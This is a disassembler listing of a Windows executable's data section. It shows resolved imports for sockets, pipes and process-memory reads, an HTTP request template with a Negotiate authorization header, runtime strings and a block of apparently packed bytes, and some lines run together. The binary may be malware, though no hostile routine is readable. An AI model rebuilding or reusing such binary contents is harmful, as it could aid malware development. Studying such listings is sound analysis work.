		dd 7C8216A4h
dword_4270C4	dd 7C80D262h	; resolved to->KERNEL32.GetLocaleInfoAdword_4270C8	dd 7C812ADEh	; resolved to->KERNEL32.GetVersionExA					; sub_418C8D+32r ...
		dd 7C80C058h
dword_4270D0	dd 7C9010EDh	; resolved to->NTDLL.RtlLeaveCriticalSectiondword_4270D4	dd 7C901005h	; resolved to->NTDLL.RtlEnterCriticalSectiondword_4270D8	dd 7C80B829h	; resolved to->KERNEL32.InitializeCriticalSectionAndSpinCountdword_4270DC	dd 7C91188Ah	; resolved to->NTDLL.RtlDeleteCriticalSection					; seg000:0040C477r
		dd 7C810D87h, 7C8308ADh
dword_4270E8	dd 7C80180Eh	; resolved to->KERNEL32.ReadFile					; seg000:0040E095r ...
dword_4270EC	dd 7C801A24h	; resolved to->KERNEL32.CreateFileA					; sub_40E7D2+1CBr ...
		dd 7C8312E5h, 7C801E16h, 7C80DDFEh
dword_4270FC	dd 7C80DDF5h	; resolved to->KERNEL32.GetCurrentProcess					; seg000:0041A566r
dword_427100	dd 7C81E0C7h	; resolved to->KERNEL32.CreatePipe					; seg000:0041A528r
		dd 7C83632Dh, 7C8361EEh, 7C810A77h, 7C80EDD7h, 7C80E7ECh
		dd 7C80E866h
dword_42711C	dd 7C8137D9h	; resolved to->KERNEL32.FindFirstFileAdword_427120	dd 7C810B8Eh	; resolved to->KERNEL32.SetFilePointer					; seg000:0041667Er ...
		dd 7C81B58Bh, 7C80A05Dh, 7C873A31h
dword_427130	dd 7C80A7D4h	; resolved to->KERNEL32.GetLocalTime					; sub_4157A6+Dr ...
		dd 7C80A427h, 7C82FA46h, 7C80ABDEh
dword_427140	dd 7C80F0F4h	; resolved to->KERNEL32.GetEnvironmentVariableWdword_427144	dd 7C91043Dh	; resolved to->NTDLL.RtlFreeHeap					; sub_4176E9+F5r ...
dword_427148	dd 7C9105D4h	; resolved to->NTDLL.RtlAllocateHeap					; seg000:004178BCr ...
dword_42714C	dd 7C80ABC1h	; resolved to->KERNEL32.GetProcessHeap					; seg000:004178B2r ...
dword_427150	dd 7C80B9A0h	; resolved to->KERNEL32.VirtualQueryEx					; sub_417A19+55r
dword_427154	dd 7C8021CCh	; resolved to->KERNEL32.ReadProcessMemorydword_427158	dd 7C812D56h	; resolved to->KERNEL32.GetSystemInfo					; sub_417A19+2Er
		dd 7C82F7A0h
dword_427160	dd 7C80FE82h	; resolved to->KERNEL32.GlobalUnlockdword_427164	dd 7C80FF19h	; resolved to->KERNEL32.GlobalLock		dd 7C80B974h, 7C80B905h, 7C80945Ch, 7C831CB8h, 7C831C45h
		dd 7C8329D9h
dword_427180	dd 7C80A0D4h	; resolved to->KERNEL32.WideCharToMultiByte					; seg000:00422BC8r ...
dword_427184	dd 7C809BF8h	; resolved to->KERNEL32.MultiByteToWideChar					; sub_41DF04+54r ...
dword_427188	dd 7C80BAA1h	; resolved to->KERNEL32.lstrcmpiA		dd 7C81AE17h, 7C85F90Fh, 7C830B14h, 7C8310F2h
dword_42719C	dd 7C9179FDh	; resolved to->NTDLL.RtlReAllocateHeap					; sub_41EA06+28r
dword_4271A0	dd 7C937A40h	; resolved to->NTDLL.RtlUnwind		dd 7C8350BFh, 7C80176Bh, 7C801EEEh, 7C812F1Dh
dword_4271B4	dd 7C8111DAh	; resolved to->KERNEL32.GetVersiondword_4271B8	dd 7C810EF8h	; resolved to->KERNEL32.HeapDestroydword_4271BC	dd 7C812BB6h	; resolved to->KERNEL32.HeapCreatedword_4271C0	dd 7C809AE4h	; resolved to->KERNEL32.VirtualFreedword_4271C4	dd 7C809A51h	; resolved to->KERNEL32.VirtualAlloc					; sub_41EAB7+51r
		dd 7C809E79h, 7C812E76h, 7C809915h, 0
dword_4271D8	dd 71B2517Fh			align 10h
dword_4271E0	dd 71AB46C9h	; resolved to->WS2_32.getsockopt		dd 71AB2B66h, 71AB3F41h
dword_4271EC	dd 71AB4428h	; resolved to->WS2_32.WSACleanupdword_4271F0	dd 71AB664Dh	; resolved to->WS2_32.WSAStartup					; sub_40F77A+15r
dword_4271F4	dd 71AB4519h	; resolved to->WS2_32.ioctlsocket					; sub_413CC1+70r ...
dword_4271F8	dd 71AB3E00h	; resolved to->WS2_32.binddword_4271FC	dd 71AB88D3h	; resolved to->WS2_32.listendword_427200	dd 71AC1028h	; resolved to->WS2_32.acceptdword_427204	dd 71AB8769h	; resolved to->WS2_32.WSASocketAdword_427208	dd 71AB2B66h	; resolved to->WS2_32.ntohs					; sub_40EAA2+36r ...
dword_42720C	dd 71AB406Ah	; resolved to->WS2_32.connect					; sub_40EAA2+59r ...
dword_427210	dd 71AB3EA1h	; resolved to->WS2_32.setsockopt					; sub_40F168+5Ar
dword_427214	dd 71AB615Ah	; resolved to->WS2_32.recv					; sub_40E18F+28Br ...
dword_427218	dd 71AB9639h	; resolved to->WS2_32.closesocket					; sub_40E18F:loc_40E5E5r ...
dword_42721C	dd 71AB3B91h	; resolved to->WS2_32.socket					; sub_40E18F+15r ...
dword_427220	dd 71AB428Ah	; resolved to->WS2_32.send					; sub_40E18F+A4r ...
dword_427224	dd 71AB2DC0h	; resolved to->WS2_32.select					; sub_40F168+106r
dword_427228	dd 71AB4544h	; resolved to->WS2_32.__WSAFDIsSetdword_42722C	dd 71AB951Eh	; resolved to->WS2_32.getsocknamedword_427230	dd 71AB2BF4h	; resolved to->WS2_32.inet_addr					; sub_40EAA2+27r ...
		align 8
dword_427238	dd 0				dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
aCyber		db 'CYBER',0            ; DATA XREF: seg000:00404F7Do
					; seg000:00405060o ...
		align 10h
aCyber_0	db 'CYBER',0            ; DATA XREF: seg000:00405384o
					; seg000:004053C0o ...
		align 4
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D12A+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 8
dbl_427688	dq 1.388888888888889e-2	; DATA XREF: sub_40CF3C+2Fr
dbl_427690	dq 1.666666666666667e-1	; DATA XREF: sub_40CF3C+15r
dword_427698	dd 0FFFFFFFFh						; sub_40D3C6r ...
		align 10h
dbl_4276A0	dq 1.333333333333333	; DATA XREF: sub_40CF88+79r
dword_4276A8	dd 0							; sub_40D476+5Bo ...
flt_4276AC	dd 5.0e-1		; DATA XREF: seg000:0040DF83r
dbl_4276B0	dq 9.765625e-4		; DATA XREF: seg000:00416CBFr
					; seg000:00416CDAr ...
dbl_4276B8	dq -1.52587890625e-4	; DATA XREF: sub_4180E3+3E5r
dbl_4276C0	dq 3.0517578125e-4	; DATA XREF: sub_4180E3+3C5r
dbl_4276C8	dq -3.0517578125e-4	; DATA XREF: sub_4180E3+342r
					; sub_4180E3+3A7r
dbl_4276D0	dq 1.52587890625e-4	; DATA XREF: sub_4180E3+271r
dbl_4276D8	dq -1.739501953125e-3	; DATA XREF: sub_4180E3+24Br
					; sub_4180E3+2D5r ...
dbl_4276E0	dq 3.11279296875e-3	; DATA XREF: sub_4180E3+E1r
dbl_4276E8	dq 3.0517578125e-5	; DATA XREF: sub_4180E3+AEr
					; sub_4180E3+138r ...
dbl_4276F0	dq 6.103515625e-5	; DATA XREF: sub_4180E3+93r
					; sub_4180E3+308r
dbl_4276F8	dq 2.288818359375e-3	; DATA XREF: sub_4180E3+21r
dbl_427700	dq -3.0517578125e-5	; DATA XREF: sub_418F1D+2Br
flt_427708	dd 9.765625e-4		; DATA XREF: sub_41AD75+1AEr
flt_42770C	dd 8.0			; DATA XREF: sub_41AD75+1A8r
					; sub_41F504+4Ar
flt_427710	dd 0.0			; DATA XREF: sub_41AD75+16Fr
flt_427714	dd 1.0e-3		; DATA XREF: sub_41AD75+166r
dbl_427718	dq 1.0			; DATA XREF: sub_41CD19+6Cr
					; sub_41CE5F+6Cr ...
dword_427720	dd 0FFFFFFFFh, 41E0DAh,	41E0EEhbyte_42772C	db 6			; DATA XREF: sub_41F504:loc_41F55Br
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: seg002:off_44277Co
		unicode	0, <(null)>,0
		align 4
aNull_0		db '(null)',0           ; DATA XREF: seg002:off_442778o
		align 10h
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 4
aAtan2		db 'atan2',0
		align 10h
aAtan		db 'atan',0
		align 4
aAcos		db 'acos',0
		align 10h
aAsin		db 'asin',0
		align 4
aTanh		db 'tanh',0
		align 10h
aCosh		db 'cosh',0
		align 4
aSinh		db 'sinh',0
		align 10h
aLog10		db 'log10',0
		align 4
aLog		db 'log',0
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: seg002:off_4429F4o
		align 8
dbl_427858	dq 0.0			; DATA XREF: sub_4211C4+8Cr
					; sub_4211C4+ACr ...
dbl_427860	dq 4.195835e6		; DATA XREF: sub_4216D9+Fr
dbl_427868	dq 3.145727e6		; DATA XREF: sub_4216D9+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_421717+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_421717o
		align 4
aE000		db 'e+000',0            ; DATA XREF: sub_42183E+93o
		align 10h
dword_4278A0	dd 0FFFFFFFFh, 421F29h,	421F33h, 0dword_4278B0	dd 0FFFFFFFFh, 0		dd offset loc_4220AF
		align 10h
		dd offset sub_42208D
		dd offset sub_422097
dword_4278C8	dd 0FFFFFFFFh, 4222DFh,	4222E3h, 0dword_4278D8	dd 0FFFFFFFFh, 422341h,	42234Ah, 0dword_4278E8	dd 0FFFFFFFFh, 0		dd offset loc_42241D
		align 8
		dd offset loc_422409
		dd offset loc_42240D
dword_427900	dd 0FFFFFFFFh, 0		dd offset loc_422473
		align 10h
		dd offset loc_42245F
		dd offset loc_422463
dword_427918	dd 2 dup(0)						; seg000:00423B88o ...
dword_427920	dd 0FFFFFFFFh, 422ACBh,	422ACFh, 0FFFFFFFFh, 422B7Fh, 422B83h
					; DATA XREF: seg000:004229C0o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 4
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 10h
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 4
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 10h
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 10h
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 10h
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 10h
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 4
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: seg002:off_442E4Co
		db '- floating point not loaded',0Dh,0Ah,0
		align 10h
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0
		align 4
		db 0Ah
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah
		db 0Ah
		db 'Program: ',0
		align 4
a___		db '...',0
aProgramNameUnk	db '<program name unknown>',0
		align 8
dword_427C28	dd 0FFFFFFFFh, 423C48h,	423C4ChaSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
aTz		db 'TZ',0               ; DATA XREF: sub_42464C+Ao
		align 4
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: seg000:00424CEAo
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: seg000:00424CE2o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: seg000:00424CD1o
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_4254EE:loc_4255E3o
		align 10h
a1Inf		db '1#INF',0            ; DATA XREF: sub_4254EE+D8o
		align 4
a1Ind		db '1#IND',0            ; DATA XREF: sub_4254EE+C7o
		align 10h
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_4254EE+ADo
		align 4
dword_427CC8	dd 0FFFFFFFFh, 425EE6h,	425EEAh, 0FFFFFFFFh, 425F55h, 425F59h
					; DATA XREF: sub_425D2F+5o
		dd 427E18h
off_427CE4	dd offset loc_426488	; DATA XREF: sub_426290+4Do
					; sub_4264A4+Co
		dd offset sub_42634E
		dd offset sub_42646B
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_426290+1Eo
		dd offset dword_427E50
off_427D04	dd offset loc_4263B5	; DATA XREF: sub_4262EA+4Eo
					; sub_426378+11o ...
		dd offset sub_42634E
		dd offset sub_42635B
		dd offset dword_427EA0
off_427D14	dd offset loc_426570	; DATA XREF: sub_4264BC+4Do
					; sub_42658C+Co
		dd offset sub_42634E
		dd offset sub_426553
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_4264BC+1Eo
		dd offset dword_427ED0
off_427D3C	dd offset sub_426674	; DATA XREF: sub_426690+8o
					; sub_4266CD+8o ...
		dd offset sub_42672D
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_42672D+7o
		align 4
		dd offset dword_427F18
off_427D5C	dd offset loc_42674F	; DATA XREF: sub_42673Ao
					; seg002:off_4432F8o ...
dword_427D60	dd 0E06D7363h, 1, 2 dup(0)		dd 3, 19930520h, 2 dup(0)
dword_427D80	dd 0FFFFFFFFh, 42691Ch,	426920h, 0FFFFFFFFh, 426999h, 42699Dh
					; DATA XREF: seg000:0042681Fo
dword_427D98	dd 0FFFFFFFFh, 426B91h,	426B95h, 0FFFFFFFFh, 426BEEh, 426BF2h
					; DATA XREF: seg000:00426AAAo
		dd 4432F8h, 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_427DC8	dd offset off_443310	; DATA XREF: seg001:00427DFCo
					; seg001:00427E30o ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
off_427DE0	dd offset off_443330	; DATA XREF: seg001:00427DF8o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427DE0
		dd offset off_427DC8
		dd offset dword_427D98+18h
		dd 0
		db    0			; DATA XREF: seg001:00427E28o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 3, 427DF8h, 3 dup(0)
		dd offset off_443330
		dd offset unk_427E08
		align 10h
		dd offset off_427DC8
		dd offset dword_427D98+18h
dword_427E38	dd 4 dup(0)			dd 2, 427E30h
dword_427E50	dd 3 dup(0)			dd offset off_443310
		dd offset dword_427E38+8
		align 8
off_427E68	dd offset off_443350	; DATA XREF: seg001:00427E80o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E68
		dd offset off_427DC8
		dd offset dword_427D98+18h
dword_427E8C	dd 3 dup(0)			dd 3, 427E80h
dword_427EA0	dd 3 dup(0)			dd offset off_443350
		dd offset dword_427E8C+4
		dd offset dword_427D98+18h
dword_427EB8	dd 4 dup(0)			dd 1, 427EB4h
dword_427ED0	dd 3 dup(0)			dd offset off_4432F8
		dd offset dword_427EB8+8
		align 8
off_427EE8	dd offset off_443370	; DATA XREF: seg001:00427F00o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427EE8
		dd 0
		db    0			; DATA XREF: seg001:00427F28o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 427F00h
dword_427F18	dd 3 dup(0)			dd offset off_443370
		dd offset unk_427F08
		align 10h
dword_427F30	dd 19930520h, 2, 427F50h, 5 dup(0)		dd 0FFFFFFFFh, 426C74h,	0
		dd offset loc_426C6C
dword_427F60	dd 19930520h, 2, 427F80h, 5 dup(0)		dd 0FFFFFFFFh, 426C98h,	0
		dd offset loc_426CA0
dword_427F90	dd 19930520h, 2, 427FB0h, 1, 427FC0h, 3	dup(0)
					; DATA XREF: seg000:loc_426CB4o
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 427FD8h, 4	dup(0)
		dd offset loc_40D6E0
		dd 0
		dd offset off_4432F8
		dd 0
		dd 0FFFFFFFFh, 0
		dd 0Ch,	4266CDh, 2 dup(0)
		dd offset off_443310
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	4263D1h, 2 dup(0)
		dd offset off_443330
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	4264A4h, 0
dword_428048	dd 3, 428028h, 428008h,	427FE8hdword_428058	dd 0							; sub_42646B+12o
		dd offset sub_42642E
		dd 0
		dd offset dword_428048
dword_428068	dd 19930520h, 1, 428088h, 5 dup(0)		dd 0FFFFFFFFh, 426CC0h
dword_428090	dd 19930520h, 1, 4280B0h, 5 dup(0)dword_4280B0	dd 0FFFFFFFFh, 426CD4h,	2, 428008h, 427FE8h, 0dword_4280C8	dd 0				dd offset sub_426378
		dd 0
		dd offset dword_4280B0+8
dword_4280D8	dd 19930520h, 1, 4280F8h, 5 dup(0)		dd 0FFFFFFFFh, 426CE8h
dword_428100	dd 19930520h, 1, 428120h, 5 dup(0)		dd 0FFFFFFFFh, 426CFCh
dword_428128	dd 19930520h, 1, 428148h, 5 dup(0)		dd 0FFFFFFFFh, 426D10h,	0
		dd offset off_443350
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	42658Ch, 0
dword_428170	dd 3, 428150h, 428008h,	427FE8hdword_428180	dd 0							; sub_426553+12o
		dd offset sub_426516
		dd 0
		dd offset dword_428170
dword_428190	dd 19930520h, 1, 4281B0h, 5 dup(0)		dd 0FFFFFFFFh, 426D24h
dword_4281B8	dd 19930520h, 1, 4281D8h, 5 dup(0)		dd 0FFFFFFFFh, 426D38h,	28408h,	2 dup(0)
		dd 2847Eh, 271D8h, 28410h, 2 dup(0)
		dd 28494h, 271E0h, 28230h, 2 dup(0)
		dd 28CFAh, 27000h, 5 dup(0)
		dd 0F1036C3Eh, 884B0CB1h, 0C478E7C4h, 3B005928h, 11A8548Fh
		dd 10AE9B47h, 6C73A4FBh, 452CBAB3h, 0CFE2E49Eh,	65367E63h
		dd 3BAFFAEDh, 0FDA946h,	0A3BEBA4h, 36ADF5C5h, 52BC02DFh
		dd 0E518726Dh, 738C2B3Ah, 91B94939h, 0C5F8976Bh, 0BA6337AEh
		dd 33DC82D7h, 3B18A85Eh, 0FBBBB6B2h, 6DB58657h,	0A4ACE55Ah
		dd 26C5099Ch, 0D2A96B47h, 1E458E1Ch, 0B22F6C93h, 5610592Ah
		dd 3D48D393h, 307D8DA6h, 0E8F5D8Dh, 0D6BADD46h,	8C6B561Dh
		dd 1F469DFBh, 0C9F2AF90h, 0AF3E60B2h, 0D8779DF0h, 24350593h
		dd 0C0A38200h, 5C9407C3h, 74C41A9Ah, 0AE5BEA40h, 79421742h
		dd 0D8BC8EFDh, 4C4E91F1h, 32AE787Ah, 0E540E06Fh, 0C528E9AFh
		dd 0A4119F64h, 0AEC7078Fh, 95F7F37Eh, 624967ACh, 912C1A83h
		dd 0A1074FBCh, 6CBD2D1Eh, 95620D64h, 0BC67AF54h, 0F2ECEB82h
		dd 0BC3AFC3h, 1588A264h, 9BB4BA21h, 385F8860h, 14F97637h
		dd 392B874h, 81E3D7B2h,	81F67FA2h, 2056BECDh, 0F4B9197Fh
		dd 0D472C777h, 22EB99Ch, 2EE48E6Bh, 0BC7F8DE1h,	9BFD01E7h
		dd 4491BB02h, 924D6334h, 7587E4BEh, 1BF4EE3Bh, 15EB626h
		dd 717C1E8Ah, 45900B7Eh, 771FE28Eh, 0DF0AD45Bh,	7B1C6533h
		dd 0F3BBCC71h, 0ADC887B7h, 0EC3138B0h, 12FDE1A7h, 0B9900393h
		dd 0CC4F107Fh, 0A165A468h, 485D22E5h, 929A2088h, 96C152FAh
		dd 5CD42B8Fh, 0FB2B185Dh, 0E6D84243h, 0C4AB0FA6h, 9EF3FDB2h
		dd 557B2675h, 50FD2C53h, 3E7AB3C5h, 3F0840F8h, 72E5D8EFh
		dd 0B060ED8h, 13ADF679h, 0BFAAF59Fh, 3B8A2427h,	88AC463Bh
		dd 6CA0D2C4h, 0A68AF6ECh, 585EFB48h, 825627D0h,	7B659289h
		dd 68417EDFh, 0D7293E8Ch, 0
		dd 0CE84D27Bh, 0
		dd 1BB97791h, 0EFD8384Bh, 24665E57h, 0AAD61AB2h, 87CE6EBh
		dd 2C961302h, 55965D86h, 861D4410h, 63691269h, 0D8D3B28Fh
		dd 56481357h, 0B4C0B6D9h, 0DB1616CDh, 0D2420882h, 92F0E92Dh
		dd 0E9DD51BEh, 0EAE4EABBh, 9AEE49E7h, 0CE1EC4BAh, 73D3BDE6h
		dd 0AD87C87Eh, 0
; ---------------------------------------------------------------------------
		push	es
		add	[edx-54h], ch
		jmp	short loc_4284B5
; ---------------------------------------------------------------------------
		dw 29Eh
		dd 45837873h, 97CE4B5Eh, 21FD0DF6h, 0FE4D0069h,	741B57A7h
		dd 3D00CFh, 90B48D52h, 8B55C626h, 0D2ADh, 3E2934DFh, 725C0754h
		dd 7C0Fh, 0B0B20296h, 0B5E665h,	19A007Dh, 0ED9CB8B3h, 2D3F9D3h
; ---------------------------------------------------------------------------
		xchg	eax, ecx


loc_4284B5:				; CODE XREF: seg001:0042846Cj
		add	[ebx], bl
		add	[ebx+10h], ah
		stc
		in	al, dx
		push	47A730A5h
		jl	short near ptr dword_428410+4Eh
		add	[eax+eax+38h], al
		insb
		stosb
; ---------------------------------------------------------------------------
		db 0FEh, 38h, 9Dh
		dd 5F8AA044h, 0FA94E69h, 1240000h, 9244141Ah, 0F0C13D60h
		dd 18EE677Bh, 5C8BF5AAh, 434Fh,	99680159h, 0BE4911DEh
		dd 7906DFE6h, 0D36EE258h, 448D61EEh, 4A0017h, 611EA87Ch
		dd 15268641h, 0BE1B17A7h, 570000h, 473DDB7Bh, 93E74BEBh
		dd 58180Dh, 0E68101EFh,	3651D82Ch, 4B7E5BB9h, 0F800BCh
		dd 0A54DAA86h, 0BB761058h, 31F21E13h, 7336586Ah, 7E21E4h
		dd 0D1AF011Ah, 347906B0h, 87996BB0h, 2C7Fh, 0F0C80028h
		dd 34019585h, 7651B5h, 0A6C40268h, 0A1ADD4D0h, 0C6194C5h
		dd 8014B3CCh, 0AA73FD9Ch, 10D0000h, 2D7CBE2Dh, 62CEFCA6h
		dd 0D317EC06h, 29583D6Eh, 63FEh, 3E420126h, 9554BB2Eh
		dd 615B0Ah, 8CAD335Dh, 2BB9h, 0C2FC02CEh, 78210EBh, 0DA930498h
		dd 0C031F8E4h, 44279EC5h, 3F006Eh, 35F812E6h, 56855E60h
		dd 86B8CD53h, 16D0000h,	0A9DA35BEh, 0FF72F49h, 0CD0999C4h
		dd 29F0000h, 0C4200D42h, 1D0DF7F4h, 0F0014B2Ah,	0BBF623h
		dd 0C6320165h, 38AF19DEh, 7270B2C5h, 8C88h, 690801DDh
		dd 0B3C8F0DBh, 16C172h,	2A3E01C2h, 4F6CCDB0h, 485F0F21h
